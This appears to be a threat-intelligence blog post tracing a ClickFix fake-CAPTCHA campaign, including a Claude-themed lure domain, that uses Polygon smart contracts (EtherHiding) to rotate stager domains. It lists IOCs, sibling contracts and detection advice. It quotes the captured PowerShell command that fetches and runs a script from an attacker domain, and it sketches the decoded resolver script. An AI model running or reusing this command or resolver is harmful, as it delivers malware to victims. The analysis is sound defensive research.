Tracing ClickFix Chain to a Live EtherHiding Resolution

Key takeaways

• We traced a live EtherHiding resolution end to end: an injected script on wpteamcdn.beer calls a Polygon smart contract, and the answer resolves to the exact stager domain captured in a pasted PowerShell command.
• We found 14 contracts that share identical bytecode with the one we traced: 11 deployed by the same operator wallet, 3 by a second wallet.
• This is, as far as we know, the first time anyone’s published which wallet deployed each of these 14 contracts and what each one resolved to at the time of our research.
• Two independent researchers, Wilkinson and Branković, separately reached the same contract, wallet, and stager domain. We independently verified their findings against our own research before referencing them.
• claudesave[.]beer is a previously undocumented Claude AI impersonation lure. It sits in a much larger naming rotation on the same shared infrastructure.
• Our evidence points strongly toward this being Sekoia’s ErrTraffic, but we can’t confirm it outright. See “How confident are we this is ErrTraffic?” below for exactly what does and doesn’t tie the two together.
• We deliberately didn’t chase the final malware payload. This investigation is about the ErrTraffic/EtherHiding delivery mechanism, not payload attribution. See “What we don’t know” for why.

ErrTraffic is a Malware-as-a-Service ClickFix framework, documented publicly by Sekoia on June 16, 2026, that injects JavaScript into compromised WordPress sites to display fake CAPTCHA pages walking victims through pasting and running attacker-supplied PowerShell. It uses EtherHiding (storing C2 configuration in Polygon smart contracts) to resist takedown. This post covers our own telemetry, pulled from the OPSWAT Filescan corpus.

How confident are we this is ErrTraffic?

There’s a real difference between finding a coherent, active ClickFix campaign (which the evidence below fully supports) and confirming that campaign is specifically the one Sekoia named ErrTraffic (which rests on pattern-matching rather than anything that self-identifies as ErrTraffic in the infrastructure itself).

The campaign itself is well evidenced:

• A captured ClickFix page and PowerShell command
• A shared hosting IP tying multiple domains together
• A live blockchain abuse (below) that two other researchers, Đorđe Branković and Luke Wilkinson, independently reached. The ErrTraffic label rests on weaker ground:
• A TLD and PowerShell-comment pattern consistent with, but not an exact match to, the fingerprint Sekoia documents
• Similar abuse of the etherhiding technique
• A ThreatFox tag from researcher Lenny_3BO that predates Sekoia’s report by three months.

While we consider it is highly likely ErrTraffic MaaS activity, we have not obtained strict and deterministic evidence to make the statement unmistakably. Therefore, everything below refers to “this campaign” or “this cluster” rather than treating the ErrTraffic name as settled fact.

How EtherHiding works

EtherHiding stores malicious configuration (usually just a URL for the next stage) inside a public blockchain smart contract instead of on an attacker-controlled private server. Guardio Labs coined the “etherhiding” term after documenting the pattern in ClearFake campaigns abusing BNB Smart Chain. The operator behind this campaign uses the same mechanism on Polygon.

The mechanism has two halves:

• First, someone deploys a contract: a one-time transaction, signed with a wallet’s private key, that puts a small piece of code and storage on-chain at a new address. Whoever sends that transaction is permanently recorded as the contract’s creator, the same way a Bitcoin transaction records its sender, and that record can’t be altered afterward. That’s what “deployed by” means every time we mention it through this post.
• Second, that same wallet can call a function on the contract to update what it stores (in this campaign, it stores a single URL) without touching the contract’s code or address. The threat actor the called the update function roughly every 2 to 7 days from the same wallet, and this is what we will refer as “rotation” throughout this post: the served domain changes, but the contract address pointed by victim’s browser never does.

Reading the stored value doesn’t require a wallet or a signature. It’s a read-only call, the same kind of request anyone could make to check an account balance, so the injected JavaScript on a compromised page queries the contract directly and gets back the current stager domain. That’s the entire mechanism: a public, permanent pointer that any browser can read but only the deployer’s wallet can update.

This is what makes it resistant to takedown. Hosting and DNS churn constantly in this campaign, while the contract address embedded in the injected JavaScript stays fixed. The exact resolver script, the live call we made against it, and the trace connecting it to a real PowerShell command are described ahead.

What Filescan telemetry shows

Following the previously mentioned research on ErrTraffic, the Filescan corpus directly returned three domains for .beer-TLD HTML submissions. A follow-up pivot on shared infrastructure surfaced a fourth, ethercdnns.beer, that the original sweep had missed. Readers can find additional submissions through this query on Filescan.io.

Filescan date	Domain	Verdict	Resolved IP	WHOIS registered	Registrar	Status
2026-03-26	wpteamcdn.beer	suspicious	178.16.52.101	2026-03-25	Dynadot	Confirmed: ClickFix page and PowerShell command captured directly
2026-04-29	claudesave.beer	suspicious	178.16.52.101	2026-04-29	Dynadot	Confirmed: Claude AI impersonation lure
2026-06-16	svs-verificationdate.beer	suspicious	178.16.52.101	2026-06-15	Dynadot	Confirmed: independently corroborated by Unit42 (macOS AMOS/DMG campaign, below); now suspended
2026-06-22	ethercdnns.beer	malicious	178.16.52.101	2026-06-09	Dynadot	Confirmed: found via the infrastructure pivot, missed by the original sweep

None of the four linked domains appear in Sekoia’s public IOC list (67 indicators, checked directly), which does contain roughly 25 other .beer lure domains with similar naming, making our findings additional instances.

Shared infrastructure: the ClickFix page, the stager, and a live EtherHiding trace

wpteamcdn[.[beer, claudesave[.]beer, svs-verificationdate[.]beer, and ethercdnns[.]beer all resolve to 178.16.52[.]101, confirmed through Filescan’s own IOC extraction, with matching registrar and DNS provider across all four.

The lure’s modal walks a victim through Win+X, Terminal, Ctrl+V, Enter. The command visible in the terminal behind it:

powershell -w h "iex(irm 'authorization-cdn-press-enter.info/1d24db41541c25f9' -UseBasicParsing)"; exit <#Verification ID: 1d24db41541c25f9#>

The iex(irm ...) pattern, fetching and executing a script with a hex ID trailing in a comment, matches the publicly documented fingerprint for ErrTraffic closely though not exactly, reading as modal copy regenerated per build rather than hardcoded. The hex value also appears in the fetch URL’s path, consistent with per-victim tracking.

The stager domain, authorization-cdn-press-enter[.]info, was registered 2026-07-06, two days before this capture, and did not appear in our corpus, hence we could not pivot on it and continue the research on this direction.

We resubmitted wpteamcdn[.]beer and filescan’s analysis of the served content was flagged as a confirmed threat. It just contained a small script obfuscated by a single-byte XOR-encoded array (key 0x63), storing the real payload decoded and run via new Function().

The decoded payload, implements a self-contained EtherHiding resolver such as:

var deliveryId = "22508a7829b008ccdeee686d907f6b2daf74c43cefe1e925";
var rpcEndpoints = [ /* 14 public Polygon RPC gateways */ ];
var contractAddress = "0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2";
var functionSelector = "b68d1809";
// falls back across endpoints, then fetches
// baseUrl + '/api.php?s=' + deliveryId as a script

This is the model Guardio Labs documented for ClearFake’s EtherHiding: the contract stores a URL, not payload code. We independently performed the call to the contract by replaying the HTTP request discovered from the payload. One read-only eth_call against a public Polygon RPC, no contact with any attacker-controlled host:

POST https://polygon-bor-rpc.publicnode.com
{"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2","data":"0xb68d1809"},"latest"],"id":1}

At the time of writing, decoding the response resulted on https://authorization-cdn-press-enter[.]info, the exact same stager domain from the PowerShell command captured above: a live, verifiable chain from the injected JavaScript through a public smart-contract read straight to the domain independently captured in the paste-and-run command. This confirmed the double purpose for the discovered domain, acting as the resolver point and the domain used as C2 by the PowerShell payload delivered through Clickfix. Though at the time of publishing we noticed the served domain already rotated to auth-id-browser[.]info

The contract was deployed by 0xCaf2C54E...F65187aBf, roughly 34 days before a July 9, 2026 check. It has 23 transactions, all labeled “Update Domain,” from the creator, at a cadence of every 2 to 7 days. So it’s an actively maintained resolver, not a set-and-forget deployment.

PolygonScan flags 14 other contracts with matching bytecode. The wallet, contracts, and stager domain below all refer to the same handful of entities, so here’s how they connect:

Independent corroboration

Đorđe Branković’s Medium post, “From Fake CAPTCHA to In-Memory Execution,” documents a ClickFix chain that never names ErrTraffic or EtherHiding but overlaps directly with our investigation. It shares the same IP, a beer-TLD domain (travel-js-ns[.]beer), the same function selector, and the same 14-endpoint RPC pattern. Though, the contract address is different (0x5BC777D1Dd5304d51aC41d682c87360Dfdab4428), an earlier version deployed by the same creator wallet roughly 18 days before our finding. His chain went one stage further, into an MSI package (small.msi, masquerading as Logitech software). A shared IP could be coincidental, but a shared deployer wallet across two independently analyzed chains closely relates the activity with high confidence.

Luke Wilkinson’s “Reading the ledger” independently traces the same infrastructure with deeper scope. Reaching the exact same contract, selector, wallet, and stager domain, he tied it back to Omegatech LTD (AS202412, Frankfurt), with the same PowerShell fingerprint at his Stage 3. The domains we discovered appear in his decoded on-chain updateDomain history for this contract, which validates the update list as the literal record of the rotation rather than domains that merely once shared an IP. One discrepancy changed our results: his wallet-based tracing found only three contracts tied to this operator, while we found 14. Such difference prompted us to verify each deployer (wallet) individually rather than trust the bytecode match alone.

Three more sources corroborate the pieces of our picture. Unit42’s report on a macOS ClickFix campaign documents connections to svs-verificationdate[.]beer on this IP, dropping AMOS (Atomic macOS Stealer) via a curl-fetched DMG, evidence this infrastructure serves victims cross-platform. ThreatFox and MalwareBazaar show researcher with handle Lenny_3BO tagging a campaign starting March 14, 2026, three months before any public report about the campaign, with six injection-script samples captured the same day, the earliest direct evidence checked. One (fontawesome_errtraffic_loader.js) is tagged blockchain and polygon, the likely candidate for the actual EtherHiding contract-reading code.

Enumerating the sibling contracts

PolygonScan’s “14 similar contracts” list blocks automated access, but the creation transaction hashes let us resolve every sibling ourselves. All 14 came back bytecode-identical, confirming the match independently.

Bytecode match only confirms the same template was used, but not who deployed it. By pulling the from address on each creation transaction we found out that 11 of the 14 were deployed by the confirmed operator wallet. The other three contracts (resolving to mstclaudens[.]beer, trunnsns[.]beer, and istounscnnd[.]beer) were deployed by a different second address (0x569c55122f914f45825ad19b2c695726ee47a90e), unseen elsewhere in this research.

Contract	Resolves to
0x1928b91b...6Ff2F5f6	claufancdn[.]beer
0x3ca6d781...80e9D020c	srtydnnc[.]beer
0x42883015...7e52085a7	(single-byte placeholder) - most likely testing
0x43287EBD...f7447AF63	(literal string “123123”) - most likely testing
0x4878ffE9...598Ee8cd6	bhfgtrns-js[.]beer
0x5179De5b...89fdc4b96	shkcinnc[.]beer
0x54A95771...FC2ad67d4	xdavnode[.]pro
0x58001f06...cb015857D	xdavnode[.]pro
0x6351c182...9108D7dDC	hasmeverdcdn[.]beer
0x68293085...1477b8bd0	hftplcnsns[.]beer
0x9Cbd8e55...8F8dF40EE	mstclaudens[.]beer*
0xc5067045...38fa0dF84	clhfgcomacdn[.]beer
0xcb9C910b...655811738	trunnsns[.]beer*
0xDc2Ce8f4...62FE0B391	istounscnnd[.]beer*

(* Deployed by the second wallet, described below, not the confirmed operator)

The second wallet has a thin footprint: three to four transactions total, ever, three contract creations within 20 minutes of each other on 2026-06-04, then nothing since, a different pattern from the confirmed operator’s steady cadence. Whether it’s the same operator using a secondary wallet or a separate actor with the same kit isn’t answerable from on-chain data alone.

Of the 5 domains matching the initial 4 domain’s bytecode, only xdavnode[.]pro and clhfgcomacdn[.]beer belong to the confirmed operator. The 6 newly enumerated domains are all confirmed-operator contracts, but none have ever been submitted to Filescan under this name at the time of the research, and 5 of the 6 resolve to 178.16.52[.]101. Two of the fourteen contracts currently resolve to placeholder values rather than a URL, most likely disabled, between updates, or just a test. This is, as far as we know, the first live map of this rotation’s current state.

Pivoting on the IP

A passive-DNS lookup on 178.16.52[.]101 shows a long rotation of .beer domains, plus a handful of .boats, .love, and .pro names, from at least April through late June 2026, dozens built from tokens like claud[e], verification, code, cdn, and js.

This confirms the Claude AI impersonation angle isn’t an isolated case. claudesave[.]beer sits in a much larger rotation.

Widening the search to any Filescan sample whose own IOCs reference this IP address shows 40 hits (query). Two domains, l3cdnns[.]beer and capcha-cdn-js[.]beer, carry the same /api/index.php?a=dl&token=...&src=recaptcha&cb=chrome&ref=...&mode=recaptcha delivery pattern in their own reports, with token parameters varying per hit. l3cdnns[.]beer’s rendered-page content hash is byte-identical to the ones captured for claudesave[.]beer and ethercdnns[.]beer: the same front-door template under different hostnames. A fourth stager domain, authorization-id-code[.]info, follows the same naming convention traced live above.

The widened search also returned six ordinary-looking business sites whose own Filescan reports carry this IP in their IOCs, the first concrete candidate injection points found. They’re plausibly innocent third parties sharing hosting service, so the domain names are withheld here.

Claude AI impersonation

Two AI-brand lure campaigns were already made public in the mentioned reports: Google Antigravity and ChatGPT. However claudesave[.]beer extends that theme to an additional third brand. On top of this, the shared-IP pivot shows it sits in a naming rotation with dozens of other Claude-themed domains on the same infrastructure.

Beyond the scope of our research

Our conducted investigation focused on ErrTraffic’s delivery mechanism, the ClickFix lure and the EtherHiding resolution behind it, and did not focus on identifying the final malware family. Hence, we did not identify the actual malware delivered to wpteamcdn[.]beer’s victims, and we did not attempt to obtain a sample past the point where our own evidence stops. Public reporting, including Sekoia’s, already documents payload families associated with this framework broadly. In any case, final payloads are easily reachable and identifiable through the corresponding filescan submissions, reports and pivoting.

In fact, in just a few days, we have observed how the infrastructure setup evolved. The mentioned domain went from serving and HTML document with a script block as its whole content, to serving a more complete HTML document with the malicious script block integrated withing more HTML content. While we keep updating filescan.io detections for these payloads, the report from last week is available to compare with the mentioned latest scan.

What this means for defenders

• The -w h hidden-window flag with iex(irm ...) is visible in PowerShell ScriptBlock logging (Event ID 4104) and Sysmon Event ID 1, a tell independent of domain.
• “Verify your request” modals instructing “Win+X, Terminal, Ctrl+V, Enter” are the ClickFix pattern in full. Awareness training should name that sequence.
• A takedown doesn’t kill the config layer on-chain, so domain blocklisting under-serves this pattern.
• Relevance of monitoring for HTTP requests to JSONRPC blockchain endpoints

MITRE ATT&CK

Technique	ID	Note
User Execution: Malicious Copy and Paste	T1204.004	The ClickFix modal itself
Command and Scripting Interpreter: PowerShell	T1059.001	Hidden-window iex(irm) execution
Obfuscated Files or Information	T1027	XOR-encoded JS, hex-encoded PowerShell payload
Ingress Tool Transfer	T1105	Tokenized archive fetch via /api/index.php?a=dl; per Wilkinson, a 7-Zip binary plus payload ZIP downstream
Acquire Infrastructure: Domains	T1583.001	Dynadot/Cloudflare rotation pattern

EtherHiding doesn’t map cleanly onto an existing MITRE sub-technique. Web Service (T1102) is the closest analogue, but a public blockchain read differs meaningfully from the web-service C2 that technique was written for.

Indicators of Compromise

Lure and stager domains

Domain	First seen	IP	Note
wpteamcdn[.]beer	2026-03-26	178.16.52[.]101	ClickFix page + PowerShell captured
claudesave[.]beer	2026-04-29	178.16.52[.]101	Claude AI impersonation
svs-verificationdate[.]beer	2026-06-16	178.16.52[.]101	Now suspended
ethercdnns[.]beer	2026-06-22	178.16.52[.]101	Found via infrastructure pivot
authorization-cdn-press-enter[.]info	2026-07-06 (registered)	—	Stager; confirmed live via EtherHiding
authorization-id-code[.]info	2026-07-05	—	Second stager, same naming pattern
l3cdnns[.]beer	—	178.16.52[.]101	Same delivery API pattern
capcha-cdn-js[.]beer	—	178.16.52[.]101	Same delivery API pattern

Blockchain

Item	Value
EtherHiding contract (Polygon)	0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2
Function selector	0xb68d1809
Operator wallet (creator)	0xCaf2C54E400437dA717Cf215181B170F65187aBf
Related earlier contract (Branković’s find, same creator)	0x5BC777D1Dd5304d51aC41d682c87360Dfdab4428
Second deployer wallet (3 contracts, unresolved)	0x569c55122f914f45825ad19b2c695726ee47a90e
Delivery identifier (api.php ?s= parameter)	22508a7829b008ccdeee686d907f6b2daf74c43cefe1e925

Sibling contracts are in the enumeration table above.

Sources

• Sekoia.io, “Unveiling ErrTraffic,” June 16, 2026, and the accompanying SEKOIA-IO/Community IOC set
• Unit42, “ClickFix campaign delivers macOS infostealer via DMG,” June 20, 2026
• Đorđe Branković, “From Fake CAPTCHA to In-Memory Execution” (Part 1), Medium, 2026
• Luke Wilkinson, “Reading the ledger,” blueteam.cool, July 8–9, 2026